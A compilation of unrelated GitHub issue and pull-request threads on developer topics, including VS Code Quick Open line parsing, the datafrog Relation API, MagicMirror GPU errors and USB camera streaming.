Parse ":line " in Quick Open

Currently, typing a file name with colon and a line number into Quick Open will take you to that line in the file. This is great!
However, ASP Core currently logs exceptions like this
 System.Exception: Oopsie
 at Controllers.ContactController.Get(Guid id) in .\Controllers\ContactController.cs:line 44

And the Quick Open menu is unable to parse ":line 44" as a line number, so the open file command is hidden.
I would like if the Quick Open menu was able to parse this as a line number, and take me to the expected location.

I've done some digging, and it seems that currently, the regex that drives this functionality
https://github.com/Microsoft/vscode/blob/02423d3f15f9f26b22d5784406d8c5fb283b95a3/src/vs/workbench/contrib/search/browser/openAnythingHandler.ts#L35
supports any of these test cases:
asd.cs:231
asd.cs:123:231
asd.cs:123,231
asd.cs:123#231
asd.cs(231:231)
asd.cs:(123#231)
asd.cs:123#231

I was able to add in line pretty simply, so I did it and open a PR
https://github.com/Microsoft/vscode/pull/70727

Thanks for the PR! Apparently we handle this pattern in the terminal too. @Tyriar can you show me where the link detection for the terminal is because I think it would make sense to sync the cases that it supports with quickopen.

Thanks for the PR! On one hand I don't want to add a ton of patterns that are sort of specific to one library or runtime but I think this makes sense and apparently we already handle this pattern in the terminal too. @Tyriar can you show me where the link detection for the terminal is because I think it would make sense to sync the cases that it supports with quickopen.

@roblourens I'd recommend against copying all the patterns the terminal supports as it's super complicated, I want remove regexes from the system and it supports formats which should only work in the terminal imo such as "(file path)", line 45
https://github.com/Microsoft/vscode/blob/d25ea61e0cdfef641b31deca1858af997ed8d5d4/src/vs/workbench/contrib/terminal/browser/terminalLinkHandler.ts#L36-L44

Ok. Thinking about it some more, I don't really think we should have that kind of fuzziness in quick open. We will start adding more patterns it will end up very complicated.
However, an extension could show an input and handle whatever patterns they want!


Ilm gkm conversion

GKM conversion code.
The idea is to feed in a triplet and get the serialized GKM TTL back.

@JasonLo This is probably fine to merge for now as a v0.1 of the gkm conversion. Do you want to talk about adding this to an endpoint?

also, probably we want to close #7 ?

@JasonLo yes thats exactly it. I'll merge and close.


Automated gathering of satellite images

Marc suggested using a tool for this rather than mapbox, this should be investigated further.


utils/github: add create_bump_pr

[x] Have you followed the guidelines in our Contributing document?
[x] Have you checked to ensure there aren't other open Pull Requests for the same change?
[x] Have you added an explanation of what your changes do and why you'd like us to include them?
[ ] Have you written new tests for your changes? Here's an example.

[ ] Have you successfully run brew tests with your changes locally?

This adds an open_pr method that will be useful for brew bump-cask-pr (#7986)
I currently have open_pr in dev-cmd/bump-formula-pr.rb to keep the diff clean — I'll probably move it to utils/github.rb once this is approved

Inlined determine_remote_and_username

Also deleted the line containing formula.path.atomic_write(old_contents) since by that point, the local repo is already checked out on the bump branch. Attempting to restore the old formula contents will just result in a dirty git state.


Accucor loader compound/isotope pair dupe check

Summary Change Description
Added validate_compounds that checks for compound/isotope duplicates.
Affected Issue Numbers

Resolves #85

Code Review Notes
Should be pretty self-explanatory.  It creates a dictionary of compounds & isotopes and when it encounters a duplicate, it maintains a list of rows they were found on.
It's a bit inefficient in that it rebuilds that entire list every time it encounters a duplicate, but I didn't think it was too bad.  If this was perl, I'd have known how to make it more efficient.
Checklist

[x] All issue requirements satisfied (or no linked issues)
[x] Linting passes.
[x] Migrations created & committed (or no model changes)
[x] Tests implemented (or no code changes)
[x] All tests pass

Let me know if I've addressed your concerns @lparsons - or if there are any other issues I should address.


Change name and iqm5q_q0

Following #https://github.com/qiboteam/qibolab/pull/522 change.

Thanks @Jacfomg. Shouldn't we change all runcards?

Nope, only this runcard uses anharmonicity


when usb camera is high resolution it cant work

hello
i use 480p ,720p and 1080 usb external camera to live stream o youtube ,fb.
480p and 720p working fine but 1080p cant seen any thing in live stream

How are you using usb external camera?
This project doesn’t support it by default.
Are you using this?
https://github.com/pedroSG94/Stream-USB-test

i make take some file from your project and runusb camera live stream  it work great i havent take from your given  link .
but 1080p not work it become too too slow even not showing anything on live stream

How are you using usb external camera?
This project doesn’t support it by default.
Are you using this?
https://github.com/pedroSG94/Stream-USB-test

yuor project not working for usb so i made my self

can you tell me what issue with 1080p camera?

@pedroSG94 please reply sir

This is difficult to know.
I have no way to test because I haven’t usb camera right now and I don’t know anything about your code implementation.
Can you show preview in a surfaceview to normal speed in 1080p to discard usb library problems?
If you can do it show me a video in both cases, 1080p with openglview (Your problem case) and working with surfaceview, to know what do you mean with slow

too slow problem may i solve but main problem why high resolution video i mean video from (1080p) camera not live stream.
even i used just 640*480 from that camera even not work.
it is need to change bitrate, or any YouTube setting for that?

I know that 480p and 720p works. I told you that you should test without my stream library to know if you camera open properly in 1080p using only your usb library.
After that, send me a video in 1080p and other in 720p on Youtube to compare and know what do you mean with problems.
About bitrate. You can change bitrate using this document to know correct bitrate in all resolutions:
https://support.google.com/youtube/answer/2853702?hl=en

@pedroSG94 as far i know in usb 1080p camera some time slow but most time open and work like 720p , 480p
but as far live streaming concerned 1080p not even stream for 1 sec in other 480p,720p work well in live stream too .
you said that send video in 1080p - let me now you that it even doesn't start

all above solved when app in foreground
@pedroSG94 only problem is that i made one service so usb camera work in background now when app goes to background i get debug data  but only video data get not audio data in Samsung 9 plus (Android 10) when app in background


Visualization of dataflow graph in Atom

This is a large task, and for now we're just taking notes as preparation work.

https://atom.io/packages/graphviz-preview
http://melp.nl/2013/08/flow-charts-in-code-enter-graphviz-and-the-dot-language/
https://atom.io/packages/language-dot

Considering diving into this area as my master thesis or at least a serious side project. I've created a thesis proposal with greater details and the gist of it is to allow not only the explicit visualization of data flow(minimap concept), but also allow source-level transformation/synchronization when you perform changes in the data-flow graph and vice versa. Would love any kind of feedback: https://gist.github.com/cem2ran/75c66abf281a8821bd23
Hoping to hack up something at the first meetup here in Copenhagen.

:heart: :heart: :heart: :heart: :heart: :heart: :heart: :heart: :heart: :heart: :heart:

@cem2ran I read it and it looks all good. Seriously couldn't find any problem with it.

@cem2ran Sounds fantastic! :+1:

Would be fantastic fabulous great to simply embed those graphs directly between lines of code with Atom 1.6 Block Decorations (check the nyan cat) http://blog.atom.io/2016/03/17/atom-1-6-and-1-7-beta.html

Oh wow I was considering taking a look at the issue (or a similar issue) when I am finished with my current statechart library. From my current investigation issue, it is not an easy issue in general (for instance because of eval), but there exists heuristics and approximation that should be ok in most cases, specially if you enforce conventions (like the $ at the end of observables).
I wasn't really thinking about Atom plug-in though but more a graphml output to be used in connection with yed. Advantage of this format is that it allows to group things. But better than words, I include some pictures of the dataflows for the BMI example from cycle website.

Adding to my previous comment, once the source code is parsed (through esprima for instance), it should be possible to instrument it, i.e. rewrite it adding .do(write_in_file) instructions everywhere, and that should allow to keep log of a dataflow session and replay it at a later time for debugging. But that's already another level of complexity to manage.It is definitely worth tackling though. Or maybe RxJs v5 will have already make significant progress in the direction of debugging tools.

Cool progress! I also love Yed, and it would be possible to use their yWorks JS library to draw those graphs directly in Atom, but the problem would be it's a proprietary library.

From my current investigation, it is not an easy issue in general (for instance because of eval and other problematic javascript constructions), but there exists heuristics and approximation that should be ok in most cases, specially if you enforce conventions (like the $ at the end of observables, S at the end of subjects, etc).

Indeed it's not easy. I'm intending to use the $ convention for that. Let's see how it goes.

I think it would be better to have a tool that is abstracted out of any editor, so that integration can be dealt with separately. Since VSCode is moving really fast, it would be great to have this both in VSCode and Atom.


Not able to send custom email message

Hi,
I want to include the message like if its DEV/STAGE/PROD build in the email itself. I did add this as part of comment but it appears only when you open the Diawi URL. Is there a way to add the custom message in the email itself which gets delived to all the recipient mentioned in callback_emails ? @pacification @Fl0p @jakubgs Could you please help here ?

I'm not a maintainer of this package, there is no need to ping me.


Proposal: extend API to support more operations on relations [breaking change]

While doing some work using datafrog, I got annoyed about the need to create intermediate variables and things instead of being able to work directly with relations. I also noticed that Relation::from, which currently takes an iterator and collects to an intermediate vector, introduces a certain amount of inefficiency. (As an example, from_leapjoin seems to be making an extra vector on each iteration.)
This branch aims to correct both things:

It makes Relation::from equivalent to Relation::from_vec instead of Relation::from_iter

it also implements FromIterator for Relation, so you can do let foo: Relation = iter.collect()
(this is the breaking change)

It extends Relation with a number of methods, like Relation::from_join, Relation::from_antijoin, and Relation::from_leapjoin
It extends Variable with an extend method, equivalent to .insert(Relation::from_iter(...))
It extends Variable::from_join with the ability to take one argument that is a relation

the tuples in the relation are treated as "stable" tuples
if you have two relations to join, you can use Relation::from_join instead

One side effect of this change is that you can often pull computation out from the "while loop" of the iteration and instead just construct Relation tuples directly. It seems to me that this must be more efficient, but @frankmcsherry I'd be curious if you think I am wrong.
cc @lqd, @frankmcsherry

I think stratification can and does make sense, but the trade-offs you point out seem legit.
Another reason to stratify execution is to reclaim resources between the strata. Imagine you have a bunch of these, and perhaps var1 gets used in the definition of var2, but not afterwards: you should be able to compute up through var2 and then recover any resources associated with var1 (and the intermediate arrays associated with var2).
In principle there is also strength reduction, where things could be faster with a Relation than with a Variable. Treefrog leapjoin is an example of that, where the Variable implementations just don't exist at the moment because they are a pain to write well.

I think stratification can and does make sense, but the trade-offs you point out seem legit.

I guess it'd be just more ergonomic anyway. Maybe I should do it. =)

As an example, from_leapjoin seems to be making an extra vector on each iteration.

FWIW, though, I saw no difference in perf when porting polonius over to use this branch.

In order to reuse a Variable one hadn't completed (in the sense of "you don't have to call complete if you don't want") would there need to be a way to move Variables from one Iteration to the next though (to continue computation in another strata while avoiding merging the Relations at the end of the current strata)?
It could be interesting to measure but I'm guessing Lark has more uses of this pattern than Polonius (which has none in the current repo: there's 1 in the CFG compression branch, one in my "missing subsets" branch, and possibly in the future when using both the location insensitive and opt variants in a single analysis) ?

would there need to be a way to move Variables from one Iteration to the next though

I don't think so. All that associating a Variable with an iteration does is link the "are we done yet?" logic for the iteration with the variable. If you happen to have a variable around because it came from a previous loop, you should just be able to use it.
That it works is sort of a happy coincidence of not having a "runtime" that manages all of this, and that lie may eventually come around and bit folks (that "this works" is a weird combination of idioms and luck).

I was debating about extending the interface so that you can supply a tuple of "joining things", to eliminate the virtual dispatch and looping

Probably! You might need to tweak the traits so that there is something like a LeapMany which gets implemented for (L, LM) where L: Leaper, LM: LeapMany. But that should allow static resolution of all of the calls. It is all in a pretty tight loop, so it could be that the virtual dispatch makes a difference. What we do in dataflow land is batch the calls instead, so that you extend a few prefixes at a time in each virtual call. No evidence that this is obviously better, though.

Yeah I mean you will be able to use it as a join/map input (probably not all antijoins) to one of the current iteration's Variables — and this could definitely be useful.
I was thinking about not being able to produce new tuples for the old Variable without calling changed() on it yourself in the new strata, since the new Iteration won't do it for you. However this particular case seems unlikely to ever be useful in practice, especially translating rules from datalog, and could be what you meant that it might bite folks.

I implemented and tested the tuple-based leapjoin API -- see the last commit. It proved to be about 1% more efficient (21bil instructions vs 21.3bil instructions before). But it's also just a touch nicer to use:
            live_to_dying_regions_r2pq.from_leapjoin(
                &subset_r1p,
                (
                    cfg_edge_rel.extend_with(|&((_, p), _)| p),
                    region_live_at_rel.extend_with(|&((r1, _), _)| r1),
                    region_live_at_rel.extend_anti(|&((_, _), r2)| r2),
                ),
                |&((r1, p), r2), &q| ((r2, p, q), r1),
            );

It could be interesting to measure but I'm guessing Lark has more uses of this pattern than Polonius

Perhaps now, but I think this will change as we try to move more things over into polonius. e.g., I'd like to move initialization checking.

Regarding moving variables between iterations, I considered not calling complete. Indeed, I suppose it would work just fine. It just makes it a bit less obvious to know when you have "fixed" results that are not changing per-iteration and when you don't.

Another benefit of the tuple-based API:
It enables filter_with and filter_anti leapers to be sensibly used on their own. I made them only work with an "auxiliary value" of (), which is implicitly proposed. You can then use them to implement intersection and difference:
e.g.,
        let intersection1 = Relation::from_leapjoin(
            &input1,
            input2.filter_with(|&tuple| tuple),
            |&tuple, &()| tuple,
        );

and
        let difference1 = Relation::from_leapjoin(
            &input1,
            input2.filter_anti(|&tuple| tuple),
            |&tuple, &()| tuple,
        );

(Of course you might also selectively use parts of the tuple input.)
I don't see yet how you could use extend_anti on its own, so that is not enabled. It feels like that needs something to be "proposing" values to make sense (I suppose you could use it to encode a kind of "exists { !foo(X, T) }` test, which wouldn't really be legal datalog per se).

OK, well, having used this API a bit I can't really imagine going back, so I'm inclined to merge it. =) The main question I guess is whether it's "ok" to have as many "convenience methods" as we do -- I'm inclined to say yes, and in fact I might add more (e.g., to express things like set-difference and so forth), but that can wait. I don't see a reason to push for real minimalism here, and in general having precise and simple ways for users to say things (e.g., set difference) might enable more efficient implementations in the future if we ever cared.

These additions are looking great.
I wonder if having some operators with the logic callback returning an Option<Tuple> in addition to the ones returning a Tuple would allow filtering (for example the Polonius symmetries) in an easy way, or if it would be less efficient than, say, #20.

Ah yes I forgot about #20 -- we should land that before this, probably, and then I can rebase over it. I'm not sure I quite understand your proposal regarding Option<Tuple> though, @lqd -- which method would return the Option<Tuple>? Or would we add that somewhere?
It seems like integrating the PrefixFilter would be simple enough, it can implement the Leapers trait in roughly the same way as filter_with and so forth. The ValueFilter should not implement Leapers, since it doesn't really make sense in isolation (though it could implement in roughly the same way as filter_with, i.e., substituting a dummy () value, but it'd just be a less efficient version of PrefixFilter so...).

As mentioned on Zulip (so, for folks following at home) it was another option à la
fn from_filterable_join<K: Ord, V1: Ord, V2: Ord>(
        &self,
        input1: &Variable<(K, V1)>,
        input2: &Variable<(K, V2)>,
        logic: impl FnMut(&K, &V1, &V2) -> Option<Tuple>,
    ) {
}

but is less interesting, in every way, than PrefixFilter and ValueFilter.

I rebased over #20 and implements Leapers for PrefixFilter now.


add docker for hadoop3.2.0

add docker for hadoop3.2.0

@jacobtomlinson  review code

I'm not the right person to review this, I made one drive-by contribution in 2016, I no longer work at the same company or use Hadoop. I would also caution that this repo was last modified in 2016, so you might want to fork at this point instead of waiting for a PR review.

Hi @cjj2010  I'm open to work with you !
I'm actually curious by your work and I would certainly test it and give my point of view !

I would give a feedback before monday if it's ok.

@cjj2010 Everything looks good also did you considered to use Hadoop 3.3.6?

@cjj2010 Everything looks good also did you considered to use Hadoop 3.3.6?

Okay, I would be happy to do this

You're welcome. Do you want to do this in this PR or doing a new one ?

doing a new one

I will doing a new one

Good work guys !
It's good to see there is still a demand for these docker images after 7
years  :-)
On Tue, Jan 9, 2024 at 8:43 PM kkop @.***> wrote:

doing a new one
I will doing a new one
—
Reply to this email directly, view it on GitHub
https://github.com/bigdatafoundation/docker-hadoop/pull/35#issuecomment-1884058586,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAACU3HULT5CQKS73C6J57DYNXW4DAVCNFSM6AAAAABBH7UW7WVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQOBUGA2TQNJYGY
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>

Yeah maybe we should revive the project a bit
On Mon, Feb 5, 2024 at 10:36 PM Michael Faille @.***>
wrote:

That's because you did a good work, mister !
On Tue, Jan 16, 2024 at 12:52 PM David Lauzon @.***>
wrote:

Good work guys !
It's good to see there is still a demand for these docker images after 7
years :-)
On Tue, Jan 9, 2024 at 8:43 PM kkop @.***> wrote:

doing a new one
I will doing a new one
—
Reply to this email directly, view it on GitHub
<

https://github.com/bigdatafoundation/docker-hadoop/pull/35#issuecomment-1884058586>,

or unsubscribe
<

https://github.com/notifications/unsubscribe-auth/AAACU3HULT5CQKS73C6J57DYNXW4DAVCNFSM6AAAAABBH7UW7WVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQOBUGA2TQNJYGY>

.
You are receiving this because you are subscribed to this
thread.Message
ID: @.***>

—
Reply to this email directly, view it on GitHub
<
https://github.com/bigdatafoundation/docker-hadoop/pull/35#issuecomment-1894494681>,

or unsubscribe
<
https://github.com/notifications/unsubscribe-auth/AAHO2FGVVARUCZM5TMRCST3YO3SBHAVCNFSM6AAAAABBH7UW7WVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQOJUGQ4TINRYGE>

.
You are receiving this because you were assigned.Message ID:
@.***>

—
Reply to this email directly, view it on GitHub
https://github.com/bigdatafoundation/docker-hadoop/pull/35#issuecomment-1928726056,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAACU3AZ6JGL3D7JEBULV4DYSGQNTAVCNFSM6AAAAABBH7UW7WVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTSMRYG4ZDMMBVGY
.
You are receiving this because you commented.Message ID:
@.***>


Set target to ES5

This PR drops compile target to ES5.

@ljharb What's the best way to do this? Add to our existing Node matrix for our lint/test workflow, or add a new workflow to test the compiled code?

Which existing test matrix?

Our current "CBPay-JS tests" job runs on a Node matrix, see here

ahhh gotcha, "static-analysis" confused me :-)
i'd suggest making the lint job only run once, and putting the tests (which aren't static analysis) in a separate workflow that runs on all supported node versions. I have some shared workflows you can use to make it easy.

Nice, that's good feedback – I'll follow up with that.


Minecraft Java Additional Server Arguments Incorrect Formatting

Bug Report
System Information

Operating System: Windows Server 2019 x64
AMP version: <IP_ADDRESS>
Which AMP release stream you're using: Mainline

I confirm:

[x] that I have searched for an existing bug report for this issue.
[x] that I am using the latest available version of AMP.
[x] that my operating system is up-to-date.

Symptoms

What are you trying to do? - Trying to add a value to 'Additional server arguments' (--forceUpgrade)
What are you expecting to happen? - I'd expect that the additional argument be prefixed with a space after 'nogui' in the command line.
What is actually happening? ('Nothing' is not an acceptable answer!) - There is no space added, so the command line shows '... nogui--forceUpgrade'.  Note: This can be temporarily fixed by manually adding a space in the Additional server arguments before your entry.

Reproduction
After creating a Minecraft Java instance, adding anything to the 'Additional server arguments' field will cause the argument to not be inserted into the command line correctly. eg. ... -jar minecraft_server.jar nogui--forceUpgrade

Fixed in next build.


Sema: Fix source compatibility break from relaxed witness matching rules [4.2]

Description: Fix for minor source compatibility issue introduced by the fix for rdar://problem/35297911. With the new witness matching rules, a class method that was formerly not considered a witness to a requirement could now be considered a witness. If the requirement was optional, this meant that code that would compile in Swift 4.1 would not fail to compile in 4.2 because the witness was not sufficiently visible.

Origination: Regression in 4.2.

Scope of the issue: Only found one internal test case, probably not a widespread problem but it 's very easy to work around.

Tested: Added new test for the hackaround which is only enabled with -swift-version 4 or 4.2, as well as the old, more consistent behavior, which is still the default in -swift-version 5

Risk: Very low, we just ignore the witness if its not accessible, which should be fine for optional requirements and only comes up with code that already didn't compile.

Reviewed by: @DougGregor

Bug: rdar://problem/39614880

@swift-ci Please test

@swift-ci Please test source compatibility

@DougGregor PTAL


Filter asynchronous events

Applies an event source filter to asynchronously subscribed events. Previously async subscriptions would attempt to deserialize all events in the event loop with the specified deserializer.
Fixes (suspected) #383 for me.
There's probably a better way to implement the event filter so that it gets applied in the event loop thread before channeling the events all the way to the async thread, but this is what I came up with as a quick fix.
Feel free to close the PR and implement a better approach. :)

Yep, ideally we should just not subscribe to all events I stead, but such a fix would be more involved.
For now, I'll just merge yours as a quick fix, thanks!


Smoking now does very not minor cellular damage (April fools)

About the PR
Smoking now gives you stage 7 lung cancer
Why / Balance
It's simply more realistic
Media
https://github.com/space-wizards/space-station-14/assets/140123969/125642a3-1788-461e-8202-0bc2092d7734

[X] I have added screenshots/videos to this PR showcasing its changes ingame, or this PR does not require an ingame showcase

Changelog
:cl:

tweak: Smoking is now a little unhealthy. Just a tad bit. Simply a minor amount. It's inconsequential in the grand scheme of things as one day we will all be nothing but dust. Chem should prepare phalanxamine roundstart...

oh boy, tumors are just a week away!

my la cigarette... it cause... le cancer?


Should be possible to see all tests in all modules of a multi-module project

We have a large project with many submodules.  Checking the tests for each submodule individually is too much manual work.  Could a feature be added, allowing all tests in all submodules to be visible at once?

Hi tpischke. Thanks for improvement proposal. I don't see any technical obstacles to display all tests from submodules. I'll add this feature when I find few minutes of spare time, hopefully this month.

Great,  We found a workaround.  In the maven view in Intellij, you can multi select modules and open the tests.  Then they open in many tabs (50+ for our project!).  This is OK, but would be better to have a solution that can display all tests in a tree in a single tab.

Finally I managed to finish "Auto refresh" feature. Now I can start with showing all tests in all submodules. Should be easier than "Auto refresh". Hopefully I'll get this running even this week.

Implemented in version 0.0.15.


Resolve real ip from HttpRequest.

One problem: the plugin can not be found automatically in unittest. Why is that?
The logger said:
20220725 16:31:45.067709 UTC 11665 ERROR Plugin drogon::plugin::RealIpResolver undefined! - PluginsManager

I have to register it manually to pass tests.

One problem: why won't the plugin be registered unless the header file is include in unittest?


Question about wallet password

My question is about the password that can be added when creating a new wallet. The question is whether this password is used to encrypt the wallet's information (transactions, UTXOs, labels), or if it is only used to access the wallet.
In case it is the latter option, do you plan to add functionality to allow encrypting the wallet information stored by Sparrow? I do this using a bash script that runs before start and after close Sparrow (to decrypt and encrypt respectively) starting, but it would be great if it were a native option.
Thank you

It is the former - the wallet file is encrypted by the password.


Allow account_objects RPC to filter by "check" (RIPD-1589)

@mDuo13 found a bug in the Checks implementation (Thanks!).  This fixes that particular bug.  Also adds some more unit tests for account_objects.

Thanks for the review, @miguelportilla and @intelliot.  Great suggestions.  I believe the most recent commit (https://github.com/ripple/rippled/pull/2356/commits/e8396a20cfb5bf79d53645f513aedbe19e6bbb59) addresses your comments.  If you're good with it I'll mark the pull request passed.  Thanks.

(For tracking purposes, this fixes #2350)

If this fixes an issue, you should update the commit message to reflect that. Just include the string "fixes #2350" anywhere in the message, and the issue will get automatically closed when the PR is merged.

@ximinez: Here I got trained on how to handle RIPD comments and now you want me to adapt to GitHub issues too. :wink: Commit message updated.

It never ends!

Merged in 88570df135a124b97097c439c05badc5a0f70acc


GPU process exited unexpectedly: exit_code=134

I'm not sure if this is a bug, no matter what I do I face the same issue:
Platform:  Raspberry Pi 3b+
Node Version: v16.19.1
MagicMirror² Version: 2.22.0
Description: This error shows up, tried all possible  troubleshooting methods from github.
Steps to Reproduce: pm2 start "name of the app"
Actual Results:
0|MagicMir | }
0|MagicMir | [27.03.2023 14:01.30.125] [ERROR] MagicMirror² will not quit, but it might be a good idea to check why this happened. Maybe no internet connection?
0|MagicMir | [27.03.2023 14:01.30.128] [ERROR] If you think this really is an issue, please open an issue on GitHub: https://github.com/MichMich/MagicMirror/issues
0|MagicMir | MESA-LOADER: failed to retrieve device information
0|MagicMir | MESA-LOADER: failed to retrieve device information
0|MagicMir | MESA-LOADER: failed to retrieve device information
0|MagicMir | ../../buildtools/third_party/libc++/trunk/include/vector:1425: assertion __n < size() failed: vector[] index out of bounds[3279:0327/140132.777514:ERROR:gpu_process_host.cc(991)] GPU process exited unexpectedly: exit_code=134
0|MagicMir | MESA-LOADER: failed to retrieve device information
0|MagicMir | MESA-LOADER: failed to retrieve device information
0|MagicMir | MESA-LOADER: failed to retrieve device information
0|MagicMir | ../../buildtools/third_party/libc++/trunk/include/vector:1425: assertion __n < size() failed: vector[] index out of bounds[3279:0327/140134.757741:ERROR:gpu_process_host.cc(991)] GPU process exited unexpectedly: exit_code=134
0|MagicMir | MESA-LOADER: failed to retrieve device information
0|MagicMir | MESA-LOADER: failed to retrieve device information
0|MagicMir | MESA-LOADER: failed to retrieve device information
0|MagicMir | ../../buildtools/third_party/libc++/trunk/include/vector:1425: assertion __n < size() failed: vector[] index out of bounds[3279:0327/140136.825893:ERROR:gpu_process_host.cc(991)] GPU process exited unexpectedly: exit_code=134

Configuration:
/* MagicMirror² Config Sample
 *
 * By Michael Teeuw https://michaelteeuw.nl
 * MIT Licensed.
 *
 * For more information on how you can configure this file
 * see https://docs.magicmirror.builders/configuration/introduction.html
 * and https://docs.magicmirror.builders/modules/configuration.html
 */
let config = {
	address: "<IP_ADDRESS>", 	// Address to listen on, can be:
							// - "localhost", "<IP_ADDRESS>", "::1" to listen on loopback interface
							// - another specific IPv4/6 to listen on a specific interface
							// - "<IP_ADDRESS>", "::" to listen on any interface
							// Default, when address config is left out or empty, is "localhost"
	port: 8080,
	basePath: "/", 	// The URL path where MagicMirror² is hosted. If you are using a Reverse proxy
					// you must set the sub path here. basePath must end with a /
	ipWhitelist: ["<IP_ADDRESS>", "::ffff:<IP_ADDRESS>", "::1","<IP_ADDRESS>"], 	// Set [] to allow all IP addresses
															// or add a specific IPv4 of <IP_ADDRESS> :
															// ["<IP_ADDRESS>", "::ffff:<IP_ADDRESS>", "::1", "::ffff:<IP_ADDRESS>"],
														// or IPv4 range of <IP_ADDRESS> --> <IP_ADDRESS> use CIDR format :
															// ["<IP_ADDRESS>", "::ffff:<IP_ADDRESS>", "::1", "::ffff:<IP_ADDRESS>/28"],

	useHttps: false, 		// Support HTTPS or not, default "false" will use HTTP
	httpsPrivateKey: "", 	// HTTPS private key path, only require when useHttps is true
	httpsCertificate: "", 	// HTTPS Certificate path, only require when useHttps is true

	language: "en",
	locale: "en-US",
	logLevel: ["INFO", "LOG", "WARN", "ERROR"], // Add "DEBUG" for even more logging
	timeFormat: 24,
	units: "metric",
	// serverOnly:  true/false/"local" ,
	// local for armv6l processors, default
	//   starts serveronly and then starts chrome browser
	// false, default for all NON-armv6l devices
	// true, force serveronly mode, because you want to.. no UI on this device

	modules: [

{
    module: 'mmm-dropbox',
    position: 'fullscreen_below', // pick whichever position you want
    config: {
        token: 'xxxxx',
        folder: 'hey-pics',

    }
},
//		  {
//   module: "MMM-Wallpaper",
//    position: "fullscreen_below",
//    config: { // See "Configuration options" for more information.
//      source: "icloud:#xxxxxxxxxxxx",
//      slideInterval: 60 * 1000,
//	  updateInterval: 60 * 60 * 1000,
//	  size: "auto", // Change slides every minute
//	  crossfade: true,
//	  shuffle: true,
//	  orientation: "auto"
//  }
//  },
		{
			module: "alert",
		},
		{
			module: "updatenotification",
			position: "top_bar"
		},
		{
			module: "clock",
			position: "top_left"
		},
		{
			module: "calendar",
			header: "US Holidays",
			position: "top_left",
			config: {
				calendars: [
					{
						symbol: "calendar-check",
						url: "webcal://www.calendarlabs.com/ical-calendar/ics/76/US_Holidays.ics"
					}
				]
			}
		},
		{
			module: "compliments",
			position: "lower_third"
		},
		{
			module: "weather",
			position: "top_right",
			config: {
				weatherProvider: "openweathermap",
				type: "current",
				location: "Austin",
				locationID: "4671654", //ID from http://bulk.openweathermap.org/sample/city.list.json.gz; unzip the gz file and find your city
				apiKey: "xxxxxxxxxxxxxxxx"
			}
		},
		{
			module: "weather",
			position: "top_right",
			header: "Weather Forecast",
			config: {
				weatherProvider: "openweathermap",
				type: "forecast",
				location: "New York",
				locationID: "5128581", //ID from http://bulk.openweathermap.org/sample/city.list.json.gz; unzip the gz file and find your city
				apiKey: "xxxxxxxxxxxx"
			}
		},
		{
			module: "newsfeed",
			position: "bottom_bar",
			config: {
				feeds: [
					{
						title: "New York Times",
						url: "https://rss.nytimes.com/services/xml/rss/nyt/HomePage.xml"
					}
				],
				showSourceTitle: true,
				showPublishDate: true,
				broadcastNewsFeeds: true,
				broadcastNewsUpdates: true
			}
		},
	]
};

/*************** DO NOT EDIT THE LINE BELOW ***************/
if (typeof module !== "undefined") {module.exports = config;}

Additional Notes: Any idea on why my MMM-Wallpaper is also not receiving the feed from iCloud shared  #fodler?

I was able to fix the issue with "MMM-WallPaper" thank you.

what version of the OS are you running?
show the output of
lsb_release -a

and
uname -a

MMM-WallPaper is a 3rd party module.. not part of the base. there might be some help on the forums. this modules isn't used much

@Kiwiers I'm having the same issue. How did you fix it with MMM-Wallpaper?

Honestly I just switched to Dropbox with MMM-DropboxWallpaper..
I believe the iCloud function is broken 😞
Why was the issue closed??? the application works, but still shows the errors, I'm not sure if that's ok 😆

I closed it cause you said the module was working, you can reopen it.  gpu errors are typically some os setup problem, but unless you are doing heavy graphics, it doesn't matter much.

@Kiwiers FWIW, I'm experiencing it with local images.

Thanks @sdetweil, trying it now!


PS2: COP1 & VUs do not follow IEEE 754

The article mentions floating-point math, however the PS2 is known to not follow the IEEE 754 standard, as infinity and NaN do not exist.
This page shows how this affected PCSX2's emulation.
I was curious because the PSP article has an explicit mention of the standard on the Coprocessors section, whilst the PS2 one does not, and it'd be best to clarify the difference. (I wonder if this affected developers porting from the PS2 to PSP?)

A Vector Floating Point Unit as ‘CP2’: A coprocessor designed for vector operations, similar to a traditional SIMD processor. It has 128 registers that store 32-bit floats (using the IEEE 754 standard) and a special instruction set with variable pipeline stages.

This is really good info, I also took a look at https://github.com/PCSX2/pcsx2/blob/master/pcsx2/x86/iFPU.cpp to check how the implementation solved it. It really deserves to be mentioned, I’ll write something in the next days. Thanks!

Changes should be published in a few minutes


Update CountryPickerView.podspec

changed credentials and sources

changed credentials and sources

From the changes, I think this PR was meant to be opened against your own repo.


<咸鱼书>_运行时数据结构与内存 | Road to Coding

https://evil-crow.github.io/2018/06/05/C/Expert_C_Programming/data_mem/

This is an test


MediaPlayerElement does not exist.

If I create new project without using Template10, I can use MediaPlayerElement. But if I use Template10, MediaPlayerElement is missing. I already add the required namespace and resources, but MediaPlayerElement is still missing.
How do I get MediaPlayerElement?

As I am sure you realize, T10 does not change what is available in the platform. MediaPlayerElement was introduced in 10.0.14393.0 so ensure you have set the MAX & MIN version of your project to at least 14393.

Great point @darenm


Team page updated

rest of the thing as master branch

Thanks, @sayyedarib. Marking it as Hacktoberfest accept label.

Could you please revert this commit [2cb859e]. Better to have this commitment to a new branch that can be named Arib-opportunity card


Profile fix and API documentation

The GetProfile function requests the userEmail, but email data was not previously requested in the Profile model and saved in the newProfile function. I have fixed this issue.
Additionally, I have added a link to the CodeBooker API documentation in the README file.

Thank you, @gbowne1 and @BlackBond06. I'll make the changes.
Regarding the API documentation link redirecting to my personal GitHub.io page, you can follow these steps to use @gbowne1's GitHub.io page:

Go to: https://github.com/bmacarini/codebooker-documentation
Click on the "Use this template" button.
In the new repository, go to "Settings".
On the left-side menu, navigate to "Pages".
Under "Build and deployment," select the "Master" branch, choose "/root," and then click "Save".

After completing these steps, you can access the API documentation at: https://gbowne1.github.io/{repository_name}/
If you need any help, please let me know.

@bmacarini
I think you have to be a contributor or collaborator in order to PR or commit and push to the Wiki.  I'm not familiar with the permissions needed for the Wiki.

@bmacarini
